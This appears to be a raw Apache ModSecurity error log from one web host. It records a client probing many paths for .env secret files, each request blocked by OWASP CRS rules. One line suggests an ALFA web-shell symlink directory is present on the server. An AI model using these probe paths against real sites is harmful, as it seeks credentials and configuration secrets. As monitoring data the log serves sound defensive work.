[Sun Oct 25 02:19:14.802356 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuHQAAAAs"]
[Sun Oct 25 02:19:14.803399 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38gAAAAk"]
[Sun Oct 25 02:19:14.803552 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38gAAAAk"]
[Sun Oct 25 02:19:14.803766 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38gAAAAk"]
[Sun Oct 25 02:19:14.829179 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 3.212.205.90:46718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/drivers/button/LNXPWRBN:00/input/input0/device/driver/uevent
[Sun Oct 25 02:19:14.956411 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb4AAAADk"]
[Sun Oct 25 02:19:14.956673 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb4AAAADk"]
[Sun Oct 25 02:19:14.956984 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb4AAAADk"]
[Sun Oct 25 02:19:15.078803 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuHgAAAAs"]
[Sun Oct 25 02:19:15.079040 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuHgAAAAs"]
[Sun Oct 25 02:19:15.079379 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuHgAAAAs"]
[Sun Oct 25 02:19:15.108787 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fYzaSD7UWGB8jzmt38wAAAAk"]
[Sun Oct 25 02:19:15.108984 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fYzaSD7UWGB8jzmt38wAAAAk"]
[Sun Oct 25 02:19:15.109241 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fYzaSD7UWGB8jzmt38wAAAAk"]
[Sun Oct 25 02:19:15.232011 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4QAAADk"]
[Sun Oct 25 02:19:15.232281 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4QAAADk"]
[Sun Oct 25 02:19:15.232598 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4QAAADk"]
[Sun Oct 25 02:19:15.300658 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuHwAAAAs"]
[Sun Oct 25 02:19:15.348413 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuHwAAAAs"]
[Sun Oct 25 02:19:15.348805 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuHwAAAAs"]
[Sun Oct 25 02:19:15.381992 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fYzaSD7UWGB8jzmt39AAAAAk"]
[Sun Oct 25 02:19:15.382228 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fYzaSD7UWGB8jzmt39AAAAAk"]
[Sun Oct 25 02:19:15.382558 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fYzaSD7UWGB8jzmt39AAAAAk"]
[Sun Oct 25 02:19:15.464468 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4gAAADk"]
[Sun Oct 25 02:19:15.464704 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4gAAADk"]
[Sun Oct 25 02:19:15.465050 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4gAAADk"]
[Sun Oct 25 02:19:15.663527 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuIAAAAAs"]
[Sun Oct 25 02:19:15.663756 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuIAAAAAs"]
[Sun Oct 25 02:19:15.664011 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fY3qPPT_6tJCMTRvuIAAAAAs"]
[Sun Oct 25 02:19:15.683272 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fYzaSD7UWGB8jzmt39QAAAAk"]
[Sun Oct 25 02:19:15.916512 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fYzaSD7UWGB8jzmt39QAAAAk"]
[Sun Oct 25 02:19:15.916884 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fYzaSD7UWGB8jzmt39QAAAAk"]
[Sun Oct 25 02:19:15.733049 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4wAAADk"]
[Sun Oct 25 02:19:16.083627 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4wAAADk"]
[Sun Oct 25 02:19:16.084084 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fY2TNY6y0aXZ6joCb4wAAADk"]
[Sun Oct 25 02:19:16.206951 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIQAAAAs"]
[Sun Oct 25 02:19:16.207181 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIQAAAAs"]
[Sun Oct 25 02:19:16.207450 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIQAAAAs"]
[Sun Oct 25 02:19:16.208476 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZDaSD7UWGB8jzmt39gAAAAk"]
